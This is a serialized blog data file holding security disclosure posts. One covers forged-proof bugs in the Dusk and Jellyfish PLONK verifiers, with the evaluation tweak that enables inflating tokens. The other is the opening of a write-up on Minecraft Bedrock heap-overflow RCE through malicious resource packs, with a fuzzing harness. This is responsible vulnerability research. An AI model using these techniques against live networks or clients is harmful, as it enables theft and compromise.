(",{"type":20,"tag":35,"props":144793,"children":144796},{"href":144794,"rel":144795},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[39],[144797],{"type":26,"value":144798},"preverify path",{"type":26,"value":144800},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":20,"tag":68,"props":144802,"children":144803},{},[144804,144809,144814],{"type":20,"tag":72,"props":144805,"children":144806},{},[144807],{"type":26,"value":144808},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":20,"tag":72,"props":144810,"children":144811},{},[144812],{"type":26,"value":144813},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":20,"tag":72,"props":144815,"children":144816},{},[144817],{"type":26,"value":144818},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":20,"tag":29,"props":144820,"children":144821},{},[144822],{"type":26,"value":144823},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":20,"tag":68,"props":144825,"children":144826},{},[144827,144832,144842,144854,144859],{"type":20,"tag":72,"props":144828,"children":144829},{},[144830],{"type":26,"value":144831},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":20,"tag":72,"props":144833,"children":144834},{},[144835,144837],{"type":26,"value":144836},"The malicious wallet forges a PLONK proof to create ",{"type":20,"tag":3717,"props":144838,"children":144839},{},[144840],{"type":26,"value":144841},"2000 DUSK from nothing",{"type":20,"tag":72,"props":144843,"children":144844},{},[144845,144847,144852],{"type":26,"value":144846},"The malicious wallet transfers ",{"type":20,"tag":3717,"props":144848,"children":144849},{},[144850],{"type":26,"value":144851},"1337 DUSK",{"type":26,"value":144853}," to the honest wallet using a normal (honestly-proved) transaction",{"type":20,"tag":72,"props":144855,"children":144856},{},[144857],{"type":26,"value":144858},"The honest node validates both transactions and mines them into blocks",{"type":20,"tag":72,"props":144860,"children":144861},{},[144862],{"type":26,"value":144863},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":20,"tag":29,"props":144865,"children":144866},{},[144867],{"type":20,"tag":2308,"props":144868,"children":144871},{"alt":144869,"src":144870},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":20,"tag":29,"props":144873,"children":144874},{},[144875,144877,144883,144885,144892],{"type":26,"value":144876},"At the time of discovery, DUSK's market cap was roughly ",{"type":20,"tag":35,"props":144878,"children":144880},{"href":140178,"rel":144879},[39],[144881],{"type":26,"value":144882},"~60M",{"type":26,"value":144884},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":20,"tag":35,"props":144886,"children":144889},{"href":144887,"rel":144888},"https://neptune.cash/articles/critical-vulnerability-disclosure",[39],[144890],{"type":26,"value":144891},"Triton VM vulnerability",{"type":26,"value":61},{"type":20,"tag":17197,"props":144894,"children":144895},{},[],{"type":20,"tag":21,"props":144897,"children":144899},{"id":144898},"the-fix",[144900],{"type":26,"value":144901},"The fix",{"type":20,"tag":29,"props":144903,"children":144904},{},[144905],{"type":26,"value":144906},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":20,"tag":15089,"props":144908,"children":144909},{},[144910,144955],{"type":20,"tag":72,"props":144911,"children":144912},{},[144913,144915,144926,144928,144934,144935,144941,144942,144948,144949],{"type":26,"value":144914},"Extend ",{"type":20,"tag":35,"props":144916,"children":144919},{"href":144917,"rel":144918},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[39],[144920],{"type":20,"tag":119,"props":144921,"children":144923},{"className":144922},[],[144924],{"type":26,"value":144925},"compute_aggregate_witness",{"type":26,"value":144927}," on the prover side to also include ",{"type":20,"tag":119,"props":144929,"children":144931},{"className":144930},[],[144932],{"type":26,"value":144933},"q_arith",{"type":26,"value":44},{"type":20,"tag":119,"props":144936,"children":144938},{"className":144937},[],[144939],{"type":26,"value":144940},"q_c",{"type":26,"value":44},{"type":20,"tag":119,"props":144943,"children":144945},{"className":144944},[],[144946],{"type":26,"value":144947},"q_l",{"type":26,"value":4882},{"type":20,"tag":119,"props":144950,"children":144952},{"className":144951},[],[144953],{"type":26,"value":144954},"q_r",{"type":20,"tag":72,"props":144956,"children":144957},{},[144958,144960,144970],{"type":26,"value":144959},"Add their evaluations to ",{"type":20,"tag":35,"props":144961,"children":144964},{"href":144962,"rel":144963},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[39],[144965],{"type":20,"tag":119,"props":144966,"children":144968},{"className":144967},[],[144969],{"type":26,"value":144072},{"type":26,"value":144971}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":20,"tag":29,"props":144973,"children":144974},{},[144975,144977,144984],{"type":26,"value":144976},"This was done in ",{"type":20,"tag":35,"props":144978,"children":144981},{"href":144979,"rel":144980},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[39],[144982],{"type":26,"value":144983},"commit 645265b7",{"type":26,"value":144985},", which landed on February 14, 2026.",{"type":20,"tag":17197,"props":144987,"children":144988},{},[],{"type":20,"tag":21,"props":144990,"children":144992},{"id":144991},"why-was-this-missed",[144993],{"type":26,"value":144994},"Why was this missed?",{"type":20,"tag":29,"props":144996,"children":144997},{},[144998,145000,145007,145008,145015,145017,145024,145026,145033],{"type":26,"value":144999},"Dusk's stack had been heavily audited: a ",{"type":20,"tag":35,"props":145001,"children":145004},{"href":145002,"rel":145003},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[39],[145005],{"type":26,"value":145006},"December 2023 audit of dusk-plonk",{"type":26,"value":122648},{"type":20,"tag":35,"props":145009,"children":145012},{"href":145010,"rel":145011},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[39],[145013],{"type":26,"value":145014},"September 2024 audit of Phoenix",{"type":26,"value":145016},", and a ",{"type":20,"tag":35,"props":145018,"children":145021},{"href":145019,"rel":145020},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[39],[145022],{"type":26,"value":145023},"September 2024 Oak Security audit of the Rusk node library",{"type":26,"value":145025},". Dusk's public ",{"type":20,"tag":35,"props":145027,"children":145030},{"href":145028,"rel":145029},"https://dusk.network/news/audits-overview",[39],[145031],{"type":26,"value":145032},"audits overview",{"type":26,"value":145034}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":20,"tag":29,"props":145036,"children":145037},{},[145038,145040,145045],{"type":26,"value":145039},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":20,"tag":55,"props":145041,"children":145042},{},[145043],{"type":26,"value":145044},"evaluations",{"type":26,"value":61},{"type":20,"tag":29,"props":145047,"children":145048},{},[145049],{"type":26,"value":145050},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":20,"tag":29,"props":145052,"children":145053},{},[145054],{"type":26,"value":145055},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":20,"tag":21,"props":145057,"children":145059},{"id":145058},"a-similar-bug-in-espresso-systems-jellyfish",[145060],{"type":26,"value":145061},"A similar bug in Espresso Systems' Jellyfish",{"type":20,"tag":29,"props":145063,"children":145064},{},[145065,145067,145074],{"type":26,"value":145066},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":20,"tag":35,"props":145068,"children":145071},{"href":145069,"rel":145070},"https://github.com/EspressoSystems/jellyfish/",[39],[145072],{"type":26,"value":145073},"jf-plonk",{"type":26,"value":145075}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":20,"tag":29,"props":145077,"children":145078},{},[145079,145081,145088,145090,145101,145103,145128,145130,145155],{"type":26,"value":145080},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":20,"tag":35,"props":145082,"children":145085},{"href":145083,"rel":145084},"https://eprint.iacr.org/2020/315",[39],[145086],{"type":26,"value":145087},"Plookup",{"type":26,"value":145089}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":20,"tag":35,"props":145091,"children":145094},{"href":145092,"rel":145093},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[39],[145095],{"type":20,"tag":119,"props":145096,"children":145098},{"className":145097},[],[145099],{"type":26,"value":145100},"append_plookup_evaluations",{"type":26,"value":145102}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":20,"tag":119,"props":145104,"children":145106},{"className":145105},[2375,2376],[145107],{"type":20,"tag":315,"props":145108,"children":145110},{"className":145109},[2381],[145111],{"type":20,"tag":315,"props":145112,"children":145114},{"className":145113,"ariaHidden":2387},[2386],[145115],{"type":20,"tag":315,"props":145116,"children":145118},{"className":145117},[2392],[145119,145123],{"type":20,"tag":315,"props":145120,"children":145122},{"className":145121,"style":109146},[2397],[],{"type":20,"tag":315,"props":145124,"children":145126},{"className":145125,"style":91791},[2403,19992],[145127],{"type":26,"value":112209},{"type":26,"value":145129}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":20,"tag":119,"props":145131,"children":145133},{"className":145132},[2375,2376],[145134],{"type":20,"tag":315,"props":145135,"children":145137},{"className":145136},[2381],[145138],{"type":20,"tag":315,"props":145139,"children":145141},{"className":145140,"ariaHidden":2387},[2386],[145142],{"type":20,"tag":315,"props":145143,"children":145145},{"className":145144},[2392],[145146,145150],{"type":20,"tag":315,"props":145147,"children":145149},{"className":145148,"style":109146},[2397],[],{"type":20,"tag":315,"props":145151,"children":145153},{"className":145152,"style":91791},[2403,19992],[145154],{"type":26,"value":112209},{"type":26,"value":145156},", so the prover can adjust them after the fact to make the check pass.",{"type":20,"tag":29,"props":145158,"children":145159},{},[145160,145162,145168,145170,145176],{"type":26,"value":145161},"The attack requires modifying a single evaluation (",{"type":20,"tag":119,"props":145163,"children":145165},{"className":145164},[],[145166],{"type":26,"value":145167},"key_table_next_eval",{"type":26,"value":145169},") by ",{"type":20,"tag":119,"props":145171,"children":145173},{"className":145172},[],[145174],{"type":26,"value":145175},"delta / (u * v^3)",{"type":26,"value":145177}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":20,"tag":29,"props":145179,"children":145180},{},[145181,145183,145190,145192,145203],{"type":26,"value":145182},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":20,"tag":35,"props":145184,"children":145187},{"href":145185,"rel":145186},"https://github.com/EspressoSystems/jellyfish/pull/867",[39],[145188],{"type":26,"value":145189},"PR #867",{"type":26,"value":145191}," fixed the issue and was tagged as ",{"type":20,"tag":35,"props":145193,"children":145196},{"href":145194,"rel":145195},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[39],[145197],{"type":20,"tag":119,"props":145198,"children":145200},{"className":145199},[],[145201],{"type":26,"value":145202},"jf-plonk-v0.8.0",{"type":26,"value":145204}," on March 18, 2026.",{"type":20,"tag":17197,"props":145206,"children":145207},{},[],{"type":20,"tag":21,"props":145209,"children":145211},{"id":145210},"toward-standardization",[145212],{"type":26,"value":145213},"Toward standardization",{"type":20,"tag":29,"props":145215,"children":145216},{},[145217,145219,145226],{"type":26,"value":145218},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":20,"tag":35,"props":145220,"children":145223},{"href":145221,"rel":145222},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[39],[145224],{"type":26,"value":145225},"similar patterns appear across zkVMs",{"type":26,"value":145227},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":20,"tag":29,"props":145229,"children":145230},{},[145231],{"type":26,"value":145232},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":20,"tag":29,"props":145234,"children":145235},{},[145236],{"type":26,"value":145237},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":20,"tag":21,"props":145239,"children":145240},{"id":59077},[145241],{"type":26,"value":145242},"Disclosure timeline",{"type":20,"tag":53997,"props":145244,"children":145245},{},[145246,145262],{"type":20,"tag":121256,"props":145247,"children":145248},{},[145249],{"type":20,"tag":121260,"props":145250,"children":145251},{},[145252,145257],{"type":20,"tag":121264,"props":145253,"children":145254},{},[145255],{"type":26,"value":145256},"Date",{"type":20,"tag":121264,"props":145258,"children":145259},{},[145260],{"type":26,"value":145261},"Event",{"type":20,"tag":121284,"props":145263,"children":145264},{},[145265,145278,145291,145303,145329,145349],{"type":20,"tag":121260,"props":145266,"children":145267},{},[145268,145273],{"type":20,"tag":121291,"props":145269,"children":145270},{},[145271],{"type":26,"value":145272},"2026-02-13",{"type":20,"tag":121291,"props":145274,"children":145275},{},[145276],{"type":26,"value":145277},"Dusk vulnerability reported",{"type":20,"tag":121260,"props":145279,"children":145280},{},[145281,145286],{"type":20,"tag":121291,"props":145282,"children":145283},{},[145284],{"type":26,"value":145285},"2026-02-14",{"type":20,"tag":121291,"props":145287,"children":145288},{},[145289],{"type":26,"value":145290},"Dusk acknowledged",{"type":20,"tag":121260,"props":145292,"children":145293},{},[145294,145298],{"type":20,"tag":121291,"props":145295,"children":145296},{},[145297],{"type":26,"value":145285},{"type":20,"tag":121291,"props":145299,"children":145300},{},[145301],{"type":26,"value":145302},"Dusk fix committed",{"type":20,"tag":121260,"props":145304,"children":145305},{},[145306,145311],{"type":20,"tag":121291,"props":145307,"children":145308},{},[145309],{"type":26,"value":145310},"2026-02-27",{"type":20,"tag":121291,"props":145312,"children":145313},{},[145314,145316,145327],{"type":26,"value":145315},"Public ",{"type":20,"tag":35,"props":145317,"children":145320},{"href":145318,"rel":145319},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[39],[145321],{"type":20,"tag":119,"props":145322,"children":145324},{"className":145323},[],[145325],{"type":26,"value":145326},"dusk-rusk-1.6.0",{"type":26,"value":145328}," release published",{"type":20,"tag":121260,"props":145330,"children":145331},{},[145332,145337],{"type":20,"tag":121291,"props":145333,"children":145334},{},[145335],{"type":26,"value":145336},"2026-03-16",{"type":20,"tag":121291,"props":145338,"children":145339},{},[145340,145342,145348],{"type":26,"value":145341},"Jellyfish fix PR opened (",{"type":20,"tag":35,"props":145343,"children":145345},{"href":145185,"rel":145344},[39],[145346],{"type":26,"value":145347},"#867",{"type":26,"value":1509},{"type":20,"tag":121260,"props":145350,"children":145351},{},[145352,145357],{"type":20,"tag":121291,"props":145353,"children":145354},{},[145355],{"type":26,"value":145356},"2026-03-18",{"type":20,"tag":121291,"props":145358,"children":145359},{},[145360,145362,145367,145369],{"type":26,"value":145361},"Jellyfish fix merged in ",{"type":20,"tag":35,"props":145363,"children":145365},{"href":145185,"rel":145364},[39],[145366],{"type":26,"value":145347},{"type":26,"value":145368}," and tagged as ",{"type":20,"tag":35,"props":145370,"children":145372},{"href":145194,"rel":145371},[39],[145373],{"type":20,"tag":119,"props":145374,"children":145376},{"className":145375},[],[145377],{"type":26,"value":145202},{"type":20,"tag":21,"props":145379,"children":145381},{"id":145380},"acknowledgements",[145382],{"type":26,"value":145383},"Acknowledgements",{"type":20,"tag":29,"props":145385,"children":145386},{},[145387],{"type":26,"value":145388},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":356,"depth":356,"links":145390},[145391,145398,145399,145400,145401,145402,145403,145404,145405,145406,145407,145408],{"id":140208,"depth":356,"text":140211,"children":145392},[145393,145394,145395,145396,145397],{"id":140233,"depth":365,"text":140236},{"id":141036,"depth":365,"text":141039},{"id":142234,"depth":365,"text":142237},{"id":142264,"depth":365,"text":142267},{"id":142545,"depth":365,"text":142548},{"id":143278,"depth":356,"text":143281},{"id":143416,"depth":356,"text":143419},{"id":88559,"depth":356,"text":144047},{"id":144646,"depth":356,"text":144649},{"id":144783,"depth":356,"text":144786},{"id":144898,"depth":356,"text":144901},{"id":144991,"depth":356,"text":144994},{"id":145058,"depth":356,"text":145061},{"id":145210,"depth":356,"text":145213},{"id":59077,"depth":356,"text":145242},{"id":145380,"depth":356,"text":145383},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":145413,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":145414,"description":145415,"date":145416,"author":121915,"image":145417,"isFeatured":15,"onBlogPage":15,"tags":145419,"body":145422,"_type":1242,"_id":154802,"_source":1244,"_file":154803,"_stem":154804,"_extension":1247},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":145418,"width":95526,"height":12024},"/posts/minecraft-heap-overflow-to-rce/title.png",[145420,145421],"minecraft","rce",{"type":17,"children":145423,"toc":154779},[145424,145429,145434,145439,145445,145450,145469,145474,145480,145485,145490,145496,145501,145506,145511,145517,145522,145527,145533,145553,145565,145572,145594,145608,145615,145621,145631,145651,145656,145662,145675,146020,146025,146033,146039,146058,146366,146394,146437,146449,146457,146462,146931,146950,146971,147313,147337,147609,147633,147660,147869,147888,147896,147915,147921,147983,147986,148008,148012,148017,148022,148028,148033,148047,148053,148067,148073,148086,148091,148099,148104,148110,148131,148139,148152,148155,148160,148174,148179,148184,148190,148195,148218,148223,148229,148234,148246,148258,148372,148392,148397,148402,148408,148413,148433,149048,149061,150135,150140,150148,150153,150159,150164,150172,150185,150190,150195,150202,150215,150220,150227,150282,150302,150309,150328,150335,150338,150343,150348,150354,150366,150379,150387,150458,150469,150503,150511,150516,150521,150527,150539,150558,150570,150575,150583,150602,150610,150629,150637,150663,150671,150676,150684,150689,150697,150700,150705,150710,150716,150729,150747,150785,150815,150823,150828,150834,150839,150844,150850,150862,151031,151043,151051,151056,151063,151068,151129,151176,151188,151193,151219,151293,151331,151336,151344,151365,151370,151396,151430,151483,151530,151536,151555,151587,151595,151698,151769,151775,151801,151808,151813,151820,151825,152066,152092,152097,152145,152150,152156,152188,152200,152232,152240,152279,152287,152292,152300,152305,152313,152325,152333,152345,152353,152365,152385,152391,152411,152428,152436,152448,152456,152475,152480,152488,152493,152501,152527,152538,152545,152550,152558,152563,152571,152576,152584,152589,152597,152602,152610,152615,152623,152664,152671,152676,152684,152689,152697,152702,152710,152715,152720,152728,152733,152741,152767,152775,152801,152809,152814,152822,152827,152835,152843,152848,152856,152861,152869,152872,152883,152917,152935,152943,152963,152969,152988,153046,153066,153074,153077,153116,153176,153181,153187,153200,153208,153260,153299,153307,153340,153343,153363,153371,153377,153382,153390,153430,153471,153491,153496,153501,153519,153525,153530,153549,153610,153618,153644,153650,153670,153675,153680,153687,153752,153757,153764,153785,153790,153802,153808,153841,153848,153853,153881,153888,153944,153956,153963,154024,154043,154049,154083,154104,154131,154139,154192,154262,154268,154288,154331,154336,154734,154740,154745,154756,154760,154765,154770,154775],{"type":20,"tag":33788,"props":145425,"children":145427},{"id":145426},"pwning-minecraft-4-byte-heap-overflow-to-rce",[145428],{"type":26,"value":145414},{"type":20,"tag":29,"props":145430,"children":145431},{},[145432],{"type":26,"value":145433},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":20,"tag":29,"props":145435,"children":145436},{},[145437],{"type":26,"value":145438},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":20,"tag":21,"props":145440,"children":145442},{"id":145441},"the-target",[145443],{"type":26,"value":145444},"The Target",{"type":20,"tag":29,"props":145446,"children":145447},{},[145448],{"type":26,"value":145449},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":20,"tag":29,"props":145451,"children":145452},{},[145453,145455,145460,145462,145467],{"type":26,"value":145454},"There are two main editions: ",{"type":20,"tag":3717,"props":145456,"children":145457},{},[145458],{"type":26,"value":145459},"Minecraft Java Edition",{"type":26,"value":145461},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":20,"tag":3717,"props":145463,"children":145464},{},[145465],{"type":26,"value":145466},"Minecraft Bedrock Edition",{"type":26,"value":145468},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":20,"tag":29,"props":145470,"children":145471},{},[145472],{"type":26,"value":145473},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":20,"tag":219,"props":145475,"children":145477},{"id":145476},"choice-of-context",[145478],{"type":26,"value":145479},"Choice of Context",{"type":20,"tag":29,"props":145481,"children":145482},{},[145483],{"type":26,"value":145484},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":20,"tag":29,"props":145486,"children":145487},{},[145488],{"type":26,"value":145489},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":20,"tag":219,"props":145491,"children":145493},{"id":145492},"resource-packs",[145494],{"type":26,"value":145495},"Resource Packs",{"type":20,"tag":29,"props":145497,"children":145498},{},[145499],{"type":26,"value":145500},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":20,"tag":29,"props":145502,"children":145503},{},[145504],{"type":26,"value":145505},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":20,"tag":29,"props":145507,"children":145508},{},[145509],{"type":26,"value":145510},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":20,"tag":21,"props":145512,"children":145514},{"id":145513},"finding-a-memory-corruption-bug",[145515],{"type":26,"value":145516},"Finding a Memory Corruption Bug",{"type":20,"tag":29,"props":145518,"children":145519},{},[145520],{"type":26,"value":145521},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":20,"tag":29,"props":145523,"children":145524},{},[145525],{"type":26,"value":145526},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":20,"tag":219,"props":145528,"children":145530},{"id":145529},"locating-image-parsing-code",[145531],{"type":26,"value":145532},"Locating Image Parsing Code",{"type":20,"tag":29,"props":145534,"children":145535},{},[145536,145538,145544,145545,145551],{"type":26,"value":145537},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":20,"tag":119,"props":145539,"children":145541},{"className":145540},[],[145542],{"type":26,"value":145543},"PNG",{"type":26,"value":11534},{"type":20,"tag":119,"props":145546,"children":145548},{"className":145547},[],[145549],{"type":26,"value":145550},"GIF",{"type":26,"value":145552}," and look for error logging or other messages that use those substrings.",{"type":20,"tag":29,"props":145554,"children":145555},{},[145556,145558,145563],{"type":26,"value":145557},"Searching for the string ",{"type":20,"tag":119,"props":145559,"children":145561},{"className":145560},[],[145562],{"type":26,"value":145550},{"type":26,"value":145564}," returned some interesting results:",{"type":20,"tag":29,"props":145566,"children":145567},{},[145568],{"type":20,"tag":2308,"props":145569,"children":145571},{"alt":48830,"src":145570},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":20,"tag":29,"props":145573,"children":145574},{},[145575,145577,145584,145586,145593],{"type":26,"value":145576},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":20,"tag":35,"props":145578,"children":145581},{"href":145579,"rel":145580},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[39],[145582],{"type":26,"value":145583},"stb_image.h",{"type":26,"value":145585},". For an example: usage of ",{"type":20,"tag":35,"props":145587,"children":145590},{"href":145588,"rel":145589},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[39],[145591],{"type":26,"value":145592},"bad Image Descriptor",{"type":26,"value":61},{"type":20,"tag":29,"props":145595,"children":145596},{},[145597,145599,145606],{"type":26,"value":145598},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":20,"tag":35,"props":145600,"children":145603},{"href":145601,"rel":145602},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[39],[145604],{"type":26,"value":145605},"stbi__gif_load_next",{"type":26,"value":145607},", and loaded the resource pack - this confirmed its usage:",{"type":20,"tag":29,"props":145609,"children":145610},{},[145611],{"type":20,"tag":2308,"props":145612,"children":145614},{"alt":48830,"src":145613},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":20,"tag":219,"props":145616,"children":145618},{"id":145617},"stb-image-library",[145619],{"type":26,"value":145620},"STB Image Library",{"type":20,"tag":29,"props":145622,"children":145623},{},[145624,145629],{"type":20,"tag":119,"props":145625,"children":145627},{"className":145626},[],[145628],{"type":26,"value":145583},{"type":26,"value":145630}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":20,"tag":29,"props":145632,"children":145633},{},[145634,145636,145641,145643,145650],{"type":26,"value":145635},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":20,"tag":119,"props":145637,"children":145639},{"className":145638},[],[145640],{"type":26,"value":145583},{"type":26,"value":145642}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":20,"tag":35,"props":145644,"children":145647},{"href":145645,"rel":145646},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[39],[145648],{"type":26,"value":145649},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":26,"value":61},{"type":20,"tag":29,"props":145652,"children":145653},{},[145654],{"type":26,"value":145655},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":20,"tag":17297,"props":145657,"children":145659},{"id":145658},"fuzzing",[145660],{"type":26,"value":145661},"Fuzzing",{"type":20,"tag":29,"props":145663,"children":145664},{},[145665,145667,145674],{"type":26,"value":145666},"The fuzzer consisted of a very simple ",{"type":20,"tag":35,"props":145668,"children":145671},{"href":145669,"rel":145670},"https://github.com/AFLplusplus/AFLplusplus",[39],[145672],{"type":26,"value":145673},"AFL++",{"type":26,"value":25157},{"type":20,"tag":305,"props":145676,"children":145678},{"code":145677,"language":1528,"meta":7,"className":14916,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[145679],{"type":20,"tag":119,"props":145680,"children":145681},{"__ignoreMap":7},[145682,145695,145707,145714,145760,145772,145793,145800,145824,145839,145846,145853,145925,145949,145964,145971,145978,145991,145998,146013],{"type":20,"tag":315,"props":145683,"children":145684},{"class":317,"line":318},[145685,145690],{"type":20,"tag":315,"props":145686,"children":145687},{"style":525},[145688],{"type":26,"value":145689},"#define",{"type":20,"tag":315,"props":145691,"children":145692},{"style":345},[145693],{"type":26,"value":145694}," STB_IMAGE_IMPLEMENTATION\n",{"type":20,"tag":315,"props":145696,"children":145697},{"class":317,"line":356},[145698,145702],{"type":20,"tag":315,"props":145699,"children":145700},{"style":525},[145701],{"type":26,"value":88673},{"type":20,"tag":315,"props":145703,"children":145704},{"style":2652},[145705],{"type":26,"value":145706}," 